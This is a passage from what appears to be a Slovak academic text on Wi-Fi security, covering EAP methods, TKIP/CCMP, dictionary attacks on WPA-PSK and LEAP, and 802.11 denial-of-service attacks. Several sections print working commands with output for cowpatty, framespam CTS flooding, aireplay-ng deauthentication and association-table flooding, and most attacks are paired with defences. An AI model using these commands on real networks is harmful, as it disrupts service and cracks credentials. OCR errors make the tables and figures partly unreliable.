Authentication Handshake Protocol (tunelovana bezpe¢nost’ na trasportnej vrstve-
protokol na podanie ritk pomocou vyzvovej autentifikacie od Microsoftu),

o PEAPvO/EAP-MSCHAPv2 — Protected EAP/Microsoft Challenge
Authentication Handshake Protocol (zabezpeceny EAP),

o PEAPvI/EAP-GTC — Protected EAP/Generic Token Card (vieobecna karta
s tokenom),

o FAP-SIM — vzajomné overovanie a vymena kl'icov pomocou SIM kariet

pouzivanych v GSM siet’ach.

Mimo certifikacie je mozné pouzivat’ aj iné typy EAP, medzi ktoré patria:
o FEAP-MD5,
e LEAP — Cisco Lightweight EAP.
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V Enterprise prostredi je odporucané pouzivat iba certifikované vyrobky.
EAP-MDS5 a LEAP neboli do certifikacie zahrnuté kvoli nedostatocnej irovni ochrany —
napriklad meno pouzivatela je prenasané ako plaintext, slaba kryptograficka uroven

(vid’. 5.3 Slovnikovy utok na LEAP), preto ich nie je vhodné pouZzivat'.

5.1.2 TKIP
zadifrované pomocou RC4
| WACHIvitka | W EB) | Extlv 4B | Data | wic@E | cv @B | Fos |
WWEP ooooo| 1 [Key D
TSCT | o | TSCO 5 i | 0 bity | ¢ bin TSCZ | TSC3 | TSC4 | TSCS

Exth
obr. 5-1: Enkapsulacia TKIP

TKIP bolo navrhnuté tak, aby iSlo implementovat’ na starom hardvéri. Format
ramca zaSifrovaného pomocou TKIP je na obr. 5-1 aje kombatibilny s povodnym
formatom (vid’. obr. 4-1: Enkapsulacia WEP) — rozliSeny podl'a bitu ExtIV.

Na Sifrovanie sa pouziva RC4. IV bolo rozsirené na efektivne 64 bitovy TKIP
Sequence Counter — TSC (sekvenéné pocitadlo pre TKIP), ktoré sa pri jednom PTK nesmie
opakovat’. Druhy bajt ,,WEPSeed* povodného IV sa nastavuje vzdy WEPSeed=(TSC1
| 0x20) & O0x7f, ¢im sa zabrani ,slabym* IV z FMS utoku. Sifrovaci kl'a¢ TK sa
pomocou per-packet key mixing stale meni. Na zabezpecenie integrity sa okrem ICV

(pritomnom na pévodnom hardvéri) pouziva algoritmus Michael.

5.1.3 CCMP
zadifrované pomocou CCM
| MAC hlavigka | COMP hlavicka (48) | Data |  mc@Ee | Fos |
0 [o00oof 1 iKey D
PMO | PRI (B) | (5 bity 1 bit) 2 bi PMZ | PM3 | PM4 | PNS

Extl

obr. 5-2: Enkapsulacia CCMP

WPA2 pozaduje zabezpeCenie prevadzky pomocou Counter-Mode/CBC-MAC
protokolu — skratka CCMP. Pouziva 128-bitové AES (Sifra Rijndael, 128-bitova
velkost’ klIica, 128-bitové bloky) na zabezpecenie utajenia — Counter mod a integrity —

MIC (Message Integrity Code, integritny kod spravy) vypocitany pomocou CBC-MAC. PN
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(Packet Number, &islo paketu) sa spolu s polami z MAC hlavicky (Destination Address,
Priority) pouzije na vytvorenie nonce (N-once, jednorazova hodnota) pre pocitadlo (Couter),
ktoré sluzi na Sifrovanie a zabezpecenie integrity dat v CCM.

Format zaSifrovaného rdmca je na obr. 5-2. Nie je konkrétnym pravidlom
odlisitel'ny od TKIP (vid. obr. 5-1), pouzita $ifra je dohodnutd pocas vymeny EAPOL
paketov.

CCMP sa v sucasnosti povazuje za velmi bezpe¢né — napriek pouzitiu jedného
klaca pre Sifrovanie aj MIC je CCM dokazateI'ne bezpecné, t.j. aspon tak bezpecné ako

pouzitd AES Sifra.

5.2 Slovnikovy utok na PSK

Primary Master Key sa pri WPA-PSK vytvéara z kl'aica — ,passphrase” — PSK
(Pre-Shared Key, predzdielany kl'a¢) a SSID siete pomocou funkcie PBKDF2 s pouzitim
4096 iteracii HMAC-SHA1 (Hash Message Authentication Code, autentifikaény koéd spravy
pouzitim hashu - Secure Hash Algorithm, bezpeény hashovaci algoritmus), teda vlastne 8096
invokacii funkcie SHAIL. Vypocet je zdihavy aj na modernych poéitatoch, &o
slovnikovy utok zna¢ne spomal’uje. Funkcia PBKDF?2 je definovana v PKCS #5 [6].

5.2.1 Realizacia utoku na PSK

Demonstrac¢na utilita coWwPAtty umoziuje lamanie len pomocou slovnika, brute-
force 8 az 64 znakovych hesiel je takmer nemozny. Je potrebné zachytitt EAPOL ramce
pri zostavovani spojenia, ¢o mdézeme dosiahnut’ zachytdvanim v monitorovacom rezime
pomocou wireshark ajednorazovym odpojenim stanice, vid. 6.4 Deautentifikacia.

Ulozeny pcap sibor potom mdézeme pouzit’ na lamanie:

$ ./cowpatty -s testt -f slovnik -r eapol.cap
cowpatty 4.0 - WPA-PSK dictionary attack. <jwright@hasborg.com>

Collected all necessary data to mount crack against passphrase.

Starting dictionary attack. Please be patient.

The PSK is "12345678".

679 passphrases tested in 15.84 seconds: 42.88 passphrases/second
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-s ... urcuje SSID (musi byt’ spravne, rozliSuji sa velké/malé pismena),
-f ... urcuje subor so slovnikom,

-r ... urcuje pcap subor, z ktorého sa ma nacitat’ EAPOL komunikacia.

V teste bol pouzity slovnik 1000 Ciselnych hesiel, ktory obsahoval spravne PSK —
inak by nebolo ndjdené.

Program coWPAtty umoznuje aj predvypocitanie hashov, ¢o je mozZné
paralelizovat’ na viacerych pocitacoch. Pouzitie SSID vo vypocte PMK vsak sluzi na
zasolenie (,salt“) hashu, to znamena nutnost vztahovat vSetky vypocty ku
konkrétnemu SSID.

V oktobri 2006 v projekte od Church of Wifi (http://www.churchofwifi.org/)

nazvanom ,,Church of Wifi coWPALtty lookup tables” predvypocitali zo slovnika 170
tisic slov pre kazdé zo zoznamu top 1000 pouzivanych SSID hashe pre coWPAtty.
Tabul'ka zabera 7 GB a je k dispozicii na stiahnutie. To im nestacilo, a tak vo februari v
projekte ,,Church of Wifi Uber coWPAtty lookup tables predvypocitali zo slovnika
jedného miliéna pouzivanych 8- a viac-znakovych hesiel tabulky tiez k dispozicii na
stiahnutie. Vypocet bol urobeny pomocou 15-tich FPGA poli (Field-programmable gate

array, programovatel'né hradlové pole) za 3 dni.

5.2.2 Obrana pred slovnikovym utokom

Funkcia derivacie PMK z PSK bola vel'mi dobre zvolena (je vypoctovo naro¢nd),
a preto je mozny iba slovnikovy utok. Pouzitie silného, neslovnikového (¢o najdlhSieho)

hesla spol'ahlivo zabezpeci WPA siet’ pred utokmi na heslo zvonka.

5.3 Slovnikovy utok na LEAP

Proprietarna Cisco autentifikacnd metdda Lightweight EAP (LEAP), ktora
implementovalo viacero vyrobcov do svojich zariadeni, je vel'mi l'ahko prelomitel'na, co
firma Cisco velmi dlho popierala. Utok odhalil Joshua Wright a publikoval ho
v septembri 2003 v [17]. LEAP pouziva prenos mena ako plaintext a na overenie hesla
modifikovanut MSCHAPvV2 challenge/response schému, kde 8-bajtovy challenge text je
3 krat nezavisle zaSifrovany 56-bitovym DES a poslany ako 24-bajtova odpoved. Na
vygenerovanie troch klI'ai¢ov pre DES je pouzity 16-bajtovy nezasoleny MD4 hash (tzv.
NT hash, pouzivany vo Windows) hesla. Pouzity spdsob paddingu (zarovnania) je

hlavnou slabinou LEAP:
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e 1.kI¢: H1 H2 H3 H4 H5 H6 H7T
e 2 kIPGG:HO H10 H11 H12 H13 H14

e 3. klGE:H15 H16 0 0 0 O 0 — pit nulovych bajtov

Treti kI'a¢ ma tak iba 2'® moznosti — po desifrovani response vieme uréit 2
posledné bajty MD4 hashu, ¢o umozni jednoduché vyhladanie v predvypocitanej
tabulke hashov (v slovniku) — overit' deSifrovanim DES sta¢i iba mali ¢ast’ slovnika.
Vypocet MD4 hashov je navySe vel'mi rychly a vd’aka popularite ldmania Windows
hesiel existuju rozsiahle (vyCerpavajuce) predvypocitané tabul’ky.

Proof-of-concept utilita asleap (http://asleap.sourceforge.net) bola zverejnena

v aprili 2004. Utoku je moZné zabranit' pouZitim inej autentifikaénej metody, napriklad

EAP-TLS s existujucou PKI.

5.4 Utoky na iné EAP

Medzi menej bezpecné typy EAP patri MD5 — algoritmus MDS5 bol totiz
prelomeny (august 2004, Xiaoyun Wang, Dengguo Feng, Xuejia Lai and Hongbo Yu)
a je len otazkou ¢asu kedy niekto zverejni aplikaciu, ktorda EAP-MDS5 zneuZije v praxi.

Dalej EAP, pri ktorych sa pouzivaju certifikity (EAP-TLS, EAP-TTLS-), st bez

overenia autenticity nachylné na man-in-the-middle utoky, blizSie opisané v kapitole 8.

5.5 Wi-Fi Protected Setup

Novy standard WPS — Wi-Fi Protected Setup (zabezpedené nastavenie Wi-Fi) z januara
2007 od Wi-Fi aliancie je uréeny pre jednoduché bezpecné nastavenie domacej siete.
Funguje na principe autokonfiguracie, zariadenia mézu byt pripojitelné do siete

niekol’kymi spdsobmi:

e PIN metoda — cislo precitané z nalepky alebo displaya na novej stanici
pouzivatel’ zada do AP,

o PBC metoda (push button) — stlacenim tlacidla na novej stanici aj AP,

o NFC metoda (Near-Field Communication) — blizkou komunikaciou —
donesenim novej stanice blizko ku AP,

e USB metoda — prenesenim udajov medzi stanicou a AP pomocou USB

klaca.
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Pre ziskanie WPS certifikdtu musia vsetky zariadenia podporovat” PIN metddu,
AP musia podporovat PBC metddu, ostatné metédy st volitelné. Samotna
autokonfiguracia prebieha pomocou vymeny viacerych EAP sprav.

Zatial' je tento Standard malo rozSireny, ureny len na domace pouzitic a na
spustenie procesu ma byt potrebnd fyzicka interakcia ¢loveka. Je mozné, ze Casom sa

najdu bezpecnostné chyby v Specifikacii WPS.
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6. Zamietnutie sluzby (DoS)

Utoky zamerané na zamietnutie sluzby si na pouzitom médiu (vzduch) I'ahko
realizovatelné a dosahuju okamzity uc¢inok. Mézu mat’ niekol'’ko motivacii:
e Skodoradost’ / ekonomické ciele,
e docasné odpojenie stanice zo siete za UCelom ziskania informacii pocas
pripajania sa,
e odpojenie stanice zo siete za uCelom man-in-the-middle utoku (vid’. 8.1
Falosné AP),
e DoS iba na zabezpecenu siet’ v snahe donutit’ neskuseného pouzivatel'a

vypnut’ bezpecnostné prvky.

Vicsina z DoS utokov nie je trvald, ucinky pomini akondhle utok prestane
(okrem pripadov ked’ sa zariadenie zahlti alebo zasekne, vid’. 6.5 Zahlcovanie tabuliek a
6.6 Spotvorené ramce) a siet’ sa v kratkom case (najviac niekol’ko sekiind) zregeneruje.
Ich wvyuzitie na ziskavanie informacii alebo man-in-the-middle utoky je vsSak

signifikantné.

6.1 RuSenie pasma

Pre efektivne ruSenie péasma je najlepSie pouzit zostrojeni ruSicku na
prislichajucich frekvenciach. Tiez je mozné upravit' na tento ucel ovladate WLAN
karty tak, aby mohla odosielat’ rdmce bez Cakania (nulovy backoff time) a floodovat’
kandl ndhodnymi datami. Vicsina sietovych kariet ale neumoziuje konstantné
vysielanie ramcov a firmware nedovoli vysielat v case, kedy je detegovana
prichddzajica komunikacia, atak nedokazu kanal zahltit' uplne, ale iba zhorsit
priepustnost’ a odozvu.

Rusenie pasma je narocné na pouzity hardvér a energiu, a v pripade dlhodobého
rusenia je lahko postihnutel'né (vid. 10. Legislativa) a z bezpe¢nostného ohladu je

najmenej obavanym ttokom.

6.2 CCA

V m4ji 2004 sa médiami prehnala sprava o vaznom probléme v Standarde IEEE

802.11, konkrétne vo funkcii Clear Channel Assessment (CCA, odhad voI'ného kandla),
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ktory umoziiuje DoS na fyzickej vrstve. Jednd sa o testovaci rezim
PLME DSSSTESTMODE, ktory je v Standarde uvedeny ako odporucany, a umoziuje
konsStantné vysielanie DSSS (Direct Sequence Spread Spectrum, rozlozené spektrum s priamou
sekvenciou) nosného signalu. Na niektorych sietovych kartach bol tento rezim pristupny,
¢im bolo mozné s nizkou potrebou energie rusit’ kanal. Funkcia CCA na ostatnych
zariadeniach vyhodnoti kanal ako obsadeny, a teda nie je mozné vysielat’.

Vicsina sietovych kariet pristup k PLME vrstve (Physical Layer Management Entity,
entity na manazment fyzickej vrstvy) neumoziuje, takze utok nie je vel'mi rozsireny. Taktiez
nie je znama utilita, ktora by testovaci rezim dokézala na nejakej karte zapnut’.

Zariadenia IEEE 802.11a nie st voc¢i tomuto utoku nachylné, pretoze pracuji
v pasme 5 GHz. Zariadenia IEEE 802.11g pouzité v nemieSanom rezime (t.j. iba g, bez
podpory b) vdaka OFDM (Orthogonal Frequency Division Multiplex, multiplex s ortogonalnym

delenim frekvencii) tiez nie st vo¢i tomuto utoku nachylné.

6.3 RTS/CTS

Pre pritomnost’ skrytych uzlov vo WLAN je v Standarde [3] na zamedzenie kolizii
pri posielani dlhSich rdmcov definovand technika riadiacich ramcov Request To Send

(RTS, poziadavka na vyslanie) a Clear To Send (CTS, dovolené vyslat).
STA1 STAZ2
W
v% AP ] .4

T \ STA3
SN |

obr. 6-1: Priklad RTS/CTS komunikacie

Na obr. 6-1 je priklad pouzitia tejto techniky. STA1 a STA3 mo6zu byt navzajom
mimo radiového dosahu, teda STA1 nevie, ¢i STA3 vysiela a naopak. Ak chce STA1
poslat’ dlIhsi raimec na AP a vyhnut’ sa pripadnej kolizii, posle najprv RTS s poziadavkou
o ,rezervovanie® kandla na isti dobu, dani polom Duration vradmci (trvanie). AP
nasledne odpovie ramcom CTS, ktory vyhradi kandl na danti dobu (Duration) pre
STAI1. Tento ramec je poslany vSetkym staniciam, aby bolo zrejmé, Ze v danej dobe

moze zacat vysielat’ iba STA1 (identifikovana pomocou MAC adresy v CTS ramci).
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Kazda stanica si po prijati RTS alebo CTS ramca podl'a Duration nastavi Network
Allocation Vector (NAV) — casovac, ktory indikuje obsadenost’ kanala (navySe od
funkcie CCA).

6.3.1 Flood RTS ramcov

Cielom utoku je bez energeticky ndro¢ného zahlcovania kandla zabranit
komunikacii. Princip je nasledovny:

1. posleme RTS ramec na AP s velkou hodnotou Duration
2. AP broadcastuje CTS ramec s vel'kou hodnotou Duration
3. stanice nevysielaju (oCakavany efekt)

Standard povoluje staniciam vynulovanie NAV v pripade, ze bol prijaty RTS
ramec a v o¢akavanej dobe nebol detegovany prichadzajuci signal (kanal ostal volny) —
to spdsobi ,,odignorovanie* RTS/CTS a zabrani tak o¢ividnému DoS.

To znamena, ze NAV budi mat nastavené iba stanice, ktoré prvotny RTS
nezachytili. Ostatné stanice, vratane AP, mozu vysielat. Utok teda ma pozadovany efekt
v sieti, kde je vela skrytych uzlov (napriklad mestské pristupové siete so smerovymi

anténami).

6.3.2 Flood CTS ramcov

Frame
Caontrol Duration Receiver Address

[C4{00]00 7D FCS

r\Flags

TypeSubtype

obr. 6-2: Format CTS ramca

CTS ramec je vel'mi jednoduchy, ur¢eny na vyhradenie kanala na danu dobu.
Posiela ho stanica alebo AP ako odpoved na RTS ramec. Na obr. 6-2 je priklad CTS
ramca — Frame Control (riadiace pole): Type 1 (Control) (typ=riadiaci ramec), Subtype 12
(Clear To Send) (podtyp=CTS), volitel'né (Flag) bity nastavené na 0 (tu je moznych viac
prijatelnych kombinacii). Pole Duration (trvanie) je udavané v milisekundach, platné
hodnoty st 0 az 32767, udavané v mikrosekundach ako maly endidn (menej
signifikantny bajt je prvy). V naSom pripade ho nastavime na vel'ku hodnotu 32000, ¢o

je v hexadecimalnom tvare 7D00.
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Pre Receiver Address (adresa prijimatela) si tieZ mozné alternativy (existujuca
adresa vramci sieti, neexistujuca adresa). Frame check sequence (FCS) je vypocitavany

obvykle az pri odosielani (hardvérovo), a preto nas nezaujima.

6.3.3 Realizacia CTS utoku

Mozné su viaceré varianty utoku, srdozne nastavenymi flag bitmi v poli Frame
Control, a s roznymi cielovymi MAC adresami. Na odosielanie ramca
,C400007D010203040506*

s falosSnou MAC adresou pouzijeme utilitu f ramespam (spomenutd v 2.3.2):

$ echo -en "\0304\0\0\0175\01\02\03\04\05\06" > CTS.packet # \0 berie oct hodnoty
# ./framespam -i rausb0 -d 30000 < CTS.packet

Frame Spammer

Copyright (c) 2007, Matej Sustr

Info : Sending many frames (delay 30000 us)
-i ... urcuje zariadenie na vyslanie ramca (musi byt v monitor mode),
-d ... urcyje delay v mikrosekundach medzi ramcami (nezadané = 10000),
-n ... urcuje pocet ramcov, ktoré sa maju poslat’ (nezadané = nekonecno).

Na Standardny vstup presmerujeme ramec urceny na odoslanie. Pri nezadanom

parametri -n mdzeme program zastavit’ obvyklym spésobom pomocou ctrl-c.

11 Mbit/s Ad-hoc siet 54 Mbit/s Infrastruktirna siet
C¢as odozvy (ms) ¢as odozvy (ms)

min priem. max stratenych min priem. max |stratenych
bez utoku 1.00 1.16 2.80 0%] bez utoku 0.67 2.33 14.18 0%
CTS 60ms 1.00 2.62 34.00 0%] CTS 60ms 0.67 12.28 123.53 0%
0.88 2.76 34.02 0% 0.87 43.79| 2156.12 6%
0.88 2.97 34.33 0% 2.32 273.87| 2172.40 32%
CTS 30ms 1.00 7.47 65.51 0%] CTS 30ms 0.63 27.30| 1034.45 2%
1.31 16.11 66.01 13% 242 568.12[ 3219.15 46%
1.33 30.61] 1901.34 79% 36.88] 4312.31 6885.34 71%
CTS 10ms - - - 100%] CTS 10ms | 12.461| 3259.294| 4685.385 96%
- - - 100% - - - 100%

tab. 6-1: Odozvy ping -f pocas CTS utoku

Pomocou flood ping (ping -£) bola pocas 10 sekund testovana uspesnost’ itoku
na 11 Mbit/s ad-hoc a 54 Mbit/s infraStruktirnej sieti. Reprezentaéna vzorka

z vysledkov je zaznamenana v tab. 6-1. Pri posielani rdmca CTS s hodnotou Duration
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32000 (,,kanal rezervovany na 32ms*) kazdych 60ms je zreteI'né zvysenie maximalneho
¢asu odozvy v oboch pripadoch.
Pri posielani ramca kazdych 30ms doslo k znacnej stratovosti najméd na 54Mbit/s

sieti, ale nie k iplnému vyradeniu z prevadzky. To mohlo byt spdsobené:

e oneskorenim samotného programu (pouzity ¢asova¢ je malo spolahliva

funkcia usleep()),
¢ oneskorenim komunikécie s USB zariadenim (sietova karta),
e oneskorenim vyslania ramca na sietovej karte (kvoli CCA),

e stratou vyslaného CTS ramca (rusenie).

Pri pauze 10ms medzi jednotlivymi CTS je vSak uz siet Uplne vyradena
z prevadzky, okrem pripadu ked’ je tento utocny CTS ramec strateny (stavalo sa na

54Mbit/s sieti). Pri 96% stratovosti uz vyssie protokoly nedokazu komunikovat’.

6.3.4 Obrana vo¢i RTS/CTS utokom

Uginnou obranou vo&i RTS/CTS ttokom mdzZe byt’:
e nedodrzanie Standardu aignorovanie CTS ramcov a hodnoty Duration
vSeobecne — na ukor zvysenia kolizii pri pritomnosti skrytych uzlov,
e analyza rdmcov a stanovenie, ¢i je Duration rozumna hodnota (pre kazdy

ramec, nielen CTS) — pre NAV pouzivat’ iba rozumné hodnoty.

Uvedené sposoby by musel implementovat’ vyrobca zariadenia. IEEE by mohlo
v budicom 802.11w definovat’ nejaky spdsob ochrany voéi tymto Gtokom. Sifrovanie,
resp. podpisovanie riadiacich rdmcov je vSak problematické, ked'ze v zdielanom pasme
by mali vediet’ siasne pracovat’ viaceré nezavislé siete.

Wireless IDS moze pomdct utok odhalit’ a upozornit’ nant administratora.

6.4 Deautentifikdcia

Ked'Ze management ramce nie st nijakym spdsobom chranené, je lahké ich
sfalSovat. Tymto moézeme dosiahnut odpojenie stanice zo siete po dobu utoku.

Deautentifikaciu mézeme docielit’ réznymi sposobmi:
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e poslanie falosného ,,.Deauthentication ramca stanici (od AP);
e poslanie spotvorené¢ho ,,Authentication* rdmca AP (od stanice), napriklad
so zlym sekvencnym cislom alebo pouzitym algoritmom — AP nasledne

stanicu deautentifikuje.

6.4.1 Zmazanie ARP cache

Ak utok trva dlhsie (3-5 sekund), OS Windows pripojenie indikuje ako
,odpojené®, €o si pouzivatel moze vSimnat. Dosiahneme tym vSak zmazanie ARP
cache, teda po zastaveni Gtoku a obnoveni spojenia sa posle ARP request akonahle
stanica bude chciet komunikovat’" pomocou IP protokolu (o byva aj na stanici bez
pritomnosti pouZzivatel'a).

Toto mozeme vyuzit' pri itokoch na WEP — najmé reinjekcia ARP (vid’. 4.2.1),
potrebna pre Kleinov utok (vid’. 4.9).

6.4.2 Realizacia deautentifikacného utoku

Na jednoduchy deautentifika¢ny tok moézZeme v monitorovacom rezime pouZzit

program aireplay-ng z balika Aircrack-ng:

# ./aireplay-ng -0 0 -a 00:11:3b:07:00:14 -c 00:11:3b:0b:22:0c rausb0
02:07:23 Sending DeAuth to station -—- STMAC: [00:11:3B:0B:22:0C]
02:07:24 Sending DeAuth to station -—- STMAC: [00:11:3B:0B:22:0C]

-0 0 urcuje typ utoku (deauth) a pocet rimcov na vyslanie (0 = nekonec¢no),

-a ... urcuje MAC adresu AP (zhodné s BSSID),

-c ... urcuje cielova MAC adresu, ktora ma byt deautentifikovana,

rausb0 je zariadenie pouzité na vyslanie ramca (musi byt v rezime monitor).

Deautentifikaény ramec sa posle kazdi sekundu, ¢o stacilo na uplné vyradenie
klienta pri pouziti WEP, WPA-TKIP aj WPA2-AES zabezpecenia. Ovladac sa pokusal
o opdtovnu autentifikdciu a asocidciu, na ¢o vzdy v zapéti dostal deautentifikaény ramec
a musel zacat’ odznovu. Po dobu utoku (30 sekund) bola siet’ ,,odpojena*, ARP cache sa
zmazala a nebola mozné ziadna komunikacia. Po zastaveni utoku sa stanica do 1 az 5
sekund asociovala, (v pripade WPA a WPA2) prebehla vymena klucov cez EAP
a pripojenie bolo opét’ funkcéné.
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6.4.3 Obrana pred neziaducou deautentifikaciou

RieSenie kompatibilné s existujicim hardvérom navrhli John Bellardo a Stefan
Savage v [18]. Ked’ze ziadna stanica sa nedeautentifikuje pred naslednym vyslanim dat,
treba implementovat’ casovac (napr. 5-10 sekund), ktory by deautentifikaciu oneskoril —
ak bude vtomto intervale prijaty datovy ramec, deautentifikdcia sa ignoruje; ak nie,
vykond sa. Implementacia je mozna na softvérovej Grovni (ovlada¢) bud’ vyrobcom,
alebo open-source vyvojarmi.

Budiaci IEEE 802.11w zrejme prinesie ,autentiflkovani deautentifikaciu®

(podpisané management ramce), ktora takisto tento problém vyriesi.

6.5 Zahlcovanie tabuliek

Kazdé zariadenie ma obmedzenu paméit. Jednoduché AP, urcené pre domacnosti
a malé¢ firmy, dokazu autentifikovat’ a asociovat’ len malé mnozstvo stanic (vac¢sinou 16
az 256). To na legitimne pouzivanie postacuje, pri utoku sa vsak tabulky uréené na
udrziavanie informacii o stave autentifikdcie, asociacie a vzdjomného Sifrovacieho
klaca (v pripade WPA/WPA2) jednotlivych stanic moézu zaplnit. AP potom nie je
schopné obsluzit ziadneho dalSieho klienta — v pripade, Zze pocas utoku navyse
deautentifikujeme legitimne stanice, bude siet’ vyradena z prevadzky.

Utok mdzeme urobit’ v monitorovacom rezime pomocou programu aireplay-

ng z balika Aircrack-ng, a to v cykle:

# hex="0 1 2 345678 9ABCDEF"; AP="00:11:3b:07:00:14"
for il in $hex; do for i2 in $hex; do for i3 in S$hex; do
./aireplay-ng -1 0 -e testt -a $AP -h de:ad:be:ef:08il1:$i28i3 rausbO
done; done; done
07:34:01 Waiting for beacon frame (BSSID: 00:11:3B:07:00:14)
07:34:01 Sending Authentication Request
07:34:01 Authentication successful
07:34:01 Sending Association Request

07:34:01 Association successful :-)

07:35:15 Sending Authentication Request
07:35:15 Authentication successful
07:35:15 Sending Association Request
07:35:15 Association denied (code 17)
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-10 urcuje typ utoku (fake assoc) a pocet reasociacii,

-e ... urcuje SSID siete,
-a ... urcuje MAC adresu AP (zhodné s BSSID),
-h ... urcuje falosni MAC adresu, ktoru autentifikujeme a asociujeme,

rausb0 je zariadenie pouzité na vyslanie ramca (musi byt’ v rezime monitor).

Pouzité AP sice po asociovani 128 stanic niekol'ko krat asociaciu odmietlo kodom
17 (,asociacia zamietnuta, pretoze AP nemdze vyhoviet dalSim asociovanym
staniciam®), so vzniknutou situaciou sa vSak hravo vysporiadalo — po istom c¢ase od
asociovania posiela niekol’ko Null function rdmcov asociovanej stanici. Ak nie je prijaty
ACK (Acknowledgement, potvrdzovaci riadiaci ramec) na ziaden z nich, stanicu jednoducho
bez oznamenia z tabuliek odstrani.

Na dobre navrhnutych AP nie je tento typ utoku zévazny, po odchode utoc¢nika sa

dokazu l'ahko zregenerovat’ vyradenim neaktivnych stanic.

6.6 Spotvorené ramce

Chybne implementovany firmware a ovladae je mozné poslanim konkrétne
zostaveného ramca zaseknut. Mézu potom vykazovat rozne nepredpokladané stavy —
v pripade samostatnych zariadeni ,,zatuhnutie alebo podivné spravanie sa; v pripade
OS GNU/Linux zaseknutie sa ovladaca jadra alebo kernel panic; v OS Windows
zaseknutie systému alebo blue-screen.

Vo vSeobecnosti st takymito ramcami také, ktoré maju niektoré z poli dlhsie, ako
je maximalna velkost’ podla Specifikdcie. Mozu to byt napriklad Beacon alebo Probe
ramce s prili§ dlhym SSID. Zostrojit' takyto ramec mozeme rucne (v spolupraci
s Wireshark pre referenciu jednotlivych poli) a poslat’ pomocou utility framespam.

Buffer overflow v ovladacoch je niekedy mozné zneuzit’ aj na prienik do systému.

Viac o tejto problematike je v Casti 7.1.

6.7 Utok na MIC v TKIP

Navrhari si boli vedomi kryptograficky slabého algoritmu Michael pouzitého na
vypocet MIC v TKIP, preto je zakomponovand ochrana voci utoku na MIC. Ak
v prijatom ramci je spravne FCS aj ICV, ale MIC nie, je pravdepodobné, Ze sa jedna

o Gtok. Standard [4] uréuje, Ze pocet zlyhanych MIC mdZe byt najviac jedno za minttu
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— ak su vintervale 60 sekund prijaté 2 ramce, v ktorych MIC takto zlyhalo, musi sa
prijem ramcov na minatu zastavit anasledne vymenit' Sifrovacie kI'i¢e pomocou
EAPOL. Kazdé zlyhanie MIC ma byt zaznamenané a hlasené administratorovi.

Tento pristup zabrani itokom na obsah prendSanej spravy, ale méze viest' ku DoS.
Udalost’ ma vsak byt zaznamenand a hlasend, preto je pouzitie na nenapadny DoS tutok
nevhodné. Uginnou obranou voéi takémuto moznému utoku je pouzitic WPA2 (AES

Sifrovania).

6.8 Mazanie ramcov (teoreticke)

Prenos ramcov v IEEE 802.11 je skladnym potvrdzovanim — kazdy uspes$ne
prijaty ramec adresat ihned’ potvrdi odpovedou (v pripade management ramcov) alebo
kratkym ACK ramcom. Teoreticky je mozné prendaSanému ramcu poskodit’ integritu
(napr. zasumenim), teda kontrolny sucet (FCS) u prijemcu nesadne a rdmec sa zahodi.
Nasledne mézeme poslat’ sfalSovany ACK ramec, ¢o sposobi, ze odosielatel’ povazuje
ramec za doruceny a nebude ho opakovat’.

Tento utok vyzaduje hardvér schopny vysielat’ v konkrétnom pozadovanom case
a jeho praktickd implementdcia nie je znama. NavySe spojovo orientované protokoly

vyssej vrstvy (TCP) dokézu spravu dorudit’ aj cez chybovy kanal.
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7. Chyby implementacie

Zo strany trhu je na vyrobcov vyvijany velky tlak na rychle uvadzanie novych
vyrobkov na trh. Vyvordji potom nemaji dostatok ¢asu na bezchybovi implementaciu
(najmi firmware a ovladacov) a dostatocné testovanie. Niektoré z tychto chyb je mozné
zneuzit’ na DoS (spomenuté uz v 6.6 Spotvorené ramce), v horSom pripade na prienik

do systému (bez ohl'adu na zabezpecenie WLAN S$ifrovanim).

7.1 Pretecenie pamdte

Nespravna alokacia premennych a nedostatocnd kontrola vstupu (prilisna dovera
ku prijatym datam, e buda spihat’ predpisany format) moze viest k preteteniu. To
moze mat za nasledok zlyhanie softvéru — v pripade samostatnych zariadeni mézu
zacat’ vykazovat' nepredpokladatel'né spravanie, v pripade ovladacov zariadenia pad

systému alebo vykonanie podstréeného kodu.

7.1.1 Vykonanie kdédu

PreteCenie buffera je vdneSnej dobe jednou znajlahSie a najCastejSie
zneuzivanych chyb softvéru. Priblizny princip jedného z takychto zneuziti (,,exploitov‘)
je nasledovny:

1. lokalna premenna (buffer) vo funkcii mé staticka vel'kost’;

2. pri zavolani funkcie sa na zasobniku alokuje miesto pre lokalne premenné
a ulozi sa navratové adresa (tiezZ do zdsobnika);

3. na vstupe st data velkej dizky, ktorych Gast’ obsahuje vykonavatelny kod;

4. funkcia neskontroluje dizku vstupu a do buffera uloZi viac, ako sa tam
zmesti, ¢im sa na zasobniku prepiSe navratova hodnota;

5. ak su data vhodne zostrojené aprepiSu navratovil adresu spravnou
hodnotou, po skonceni funkcie sa vykonavanie vrati na miesto v zasobniku

— tam je v pripraveny vykonavatel'ny kod.

7.1.2 Realizacie utoku

Aby bol utok uspesny, musi byt navratova adresa pomerne presne zostrojena,
a poskytnuty vykonavatelny kod by mal ,nie¢o robit™ na danej platforme. Utok
mozeme ,,poslat™ napriklad ako SSID pole Beacon ramca, ktory zachyti stanica

v dosahu a vd’aka chybe vykona. Konkrétne polia a ramce zavisia od konkrétnej chyby
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v ovladac¢i. Nebezpecné je najmid to, ze kod ovladacov sa vykondva na urovni jadra
systému, a preto obchadza vSetky antiviry, softvérové firewally apod.

V sucasnosti sa nachadzajii chyby vo viacerych ovladacoch (u réznych vyrobcov),
ktoré su takymto spdsobom zneuzitelné. Nastastie, vela I'udi, schopnych tieto chyby
najst’ a zneuzit, spolupracuje s vyrobcami zariadeni a chybu zverejiuju az ked’ vyrobca
ma dostatok Casu na opravu chyby — potom obvykle zverejiiujii aj proof-of-concept
(PoC, dokaz konceptu) exploit, aby bolo odbornej verejnosti preukazané, ze nahlasena
chyba (a oprava na fiu od vyrobcu) predstavuje skuto¢né riziko.

V zaujme nehanobenia mena niektorého z vyrobcov tu nie je zoznam konkrétnych

néachylnych zariadeni, tieto informécie je mozné néjst’ na internete.

7.1.3 Obrana

Ku predchadzaniu utokov na softvér WLAN obsluhujici zariadenia vyrazne
prispieva dosledné testovanie. Jedna z technik, ktord sa na tento ucel pouziva, sa vola
fuzzing — vysielanie r6znych ndhodnych bajtov a priebeznd kontrola, ¢i zariadenie eSte
stale funguje. Jon Ellch je autorom open-source programu fuzz-e (sucast’ balika

Airbase, http://www.802.11mercenary.net/), ktory takéto testovanie umoziuje.

Zo strany administratora a pouZzivatel’a treba dbat’ najmé na pouzivanie aktualnych
ovladacov WLAN Kkariet, ktoré maju pripadné chyby opravené. Taktiez Wireless IDS
